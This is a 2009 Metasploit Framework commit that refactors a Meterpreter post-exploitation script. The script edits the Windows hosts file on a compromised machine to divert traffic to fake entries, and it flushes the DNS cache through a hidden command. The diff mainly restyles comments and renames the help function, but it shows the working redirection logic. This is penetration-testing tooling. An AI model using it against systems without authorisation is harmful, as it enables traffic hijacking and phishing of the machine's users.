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metasploit-framework
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hostedit usage 

git-svn-id: file:///home/svn/framework3/trunk@7270 4d416f70-5f16-0410-b530-b9f4589650da
unstable
James Lee 2009-10-26 04:56:55 +00:00
parent 198bf48735
commit 6e85ba4393
1 changed files with 29 additions and 27 deletions
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52
scripts/meterpreter/hostsedit.rb
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@ -1,21 +1,34 @@
# $Id:$
#Meterpreter script for modifying the hosts file in windows
#given a single entrie or several in a file and clear the
#DNS cache on the target machine.
#This script works with Windows 2000,Windows XP,Windows 2003,
#Windows Vista and Windows 2008.
#Provided: carlos_perez[at]darkoperator[dot]com
#Verion: 0.1.0
#Note: in Vista UAC must be disabled to be able to perform hosts
#file modifications.
# Meterpreter script for modifying the hosts file in windows
# given a single entrie or several in a file and clear the
# DNS cache on the target machine.
# This script works with Windows 2000,Windows XP,Windows 2003,
# Windows Vista and Windows 2008.
# Provided: carlos_perez[at]darkoperator[dot]com
# Version: 0.1.0
# Note: in Vista UAC must be disabled to be able to perform hosts
# file modifications.
################## Variable Declarations ##################
session = client
# Setting Arguments
@@exec_opts = Rex::Parser::Arguments.new(
"-h" => [ false,"Help Options." ],
"-e" => [ true,"Host entry in the format of IP,Hostname."],
"-l" => [ true,"Text file with list of entries in the format of IP,Hostname. One per line."]
"-h" => [ false, "Help Options." ],
"-e" => [ true, "Host entry in the format of IP,Hostname." ],
"-l" => [ true, "Text file with list of entries in the format of IP,Hostname. One per line." ]
)
def usage
print_line("This Meterpreter script is for adding entries in to the Windows Hosts file.")
print_line("Since Windows will check first the Hosts file instead of the configured DNS Server")
print_line("it will assist in diverting traffic to the fake entry or entries. Either a single")
print_line("entry can be provided or a series of entries provided a file with one per line.")
print_line(@@exec_opts.usage)
print_line("Example:\n\n")
print_line("run hostsedit -e 127.0.0.1,google.com\n")
print_line("run hostsedit -l /tmp/fakednsentries.txt\n\n")
raise Rex::Script::Completed
end
record = ""
#Set path to the hosts file
hosts = session.fs.file.expand_path("%SYSTEMROOT%")+"\\System32\\drivers\\etc\\hosts"
@ -54,17 +67,6 @@ def cleardnscach(session)
print_status("Clearing the DNS Cache")
session.sys.process.execute("cmd /c ipconfig /flushdns",nil, {'Hidden' => true})
end
#Help Message
def helpmsg
puts "This Meterpreter script is for adding entries in to the Windows Hosts file."
puts "Since Windows will check first the Hosts file instead of the configured DNS Server"
puts "it will assist in diverting traffic to the fake entry or entries. Either a single"
puts "entry can be provided or a series of entries provided a file with one per line."
puts @@exec_opts.usage
puts "Example:\n\n"
puts "run hostsedit -e 127.0.0.1,google.com\n"
puts "run hostsedit -l /tmp/fakednsentries.txt\n\n"
end
@@exec_opts.parse(args) { |opt, idx, val|
case opt
@ -85,9 +87,9 @@ end
cleardnscach(session)
end
when "-h"
helpmsg
usage
end
}
if args.length == 0
helpmsg
usage
end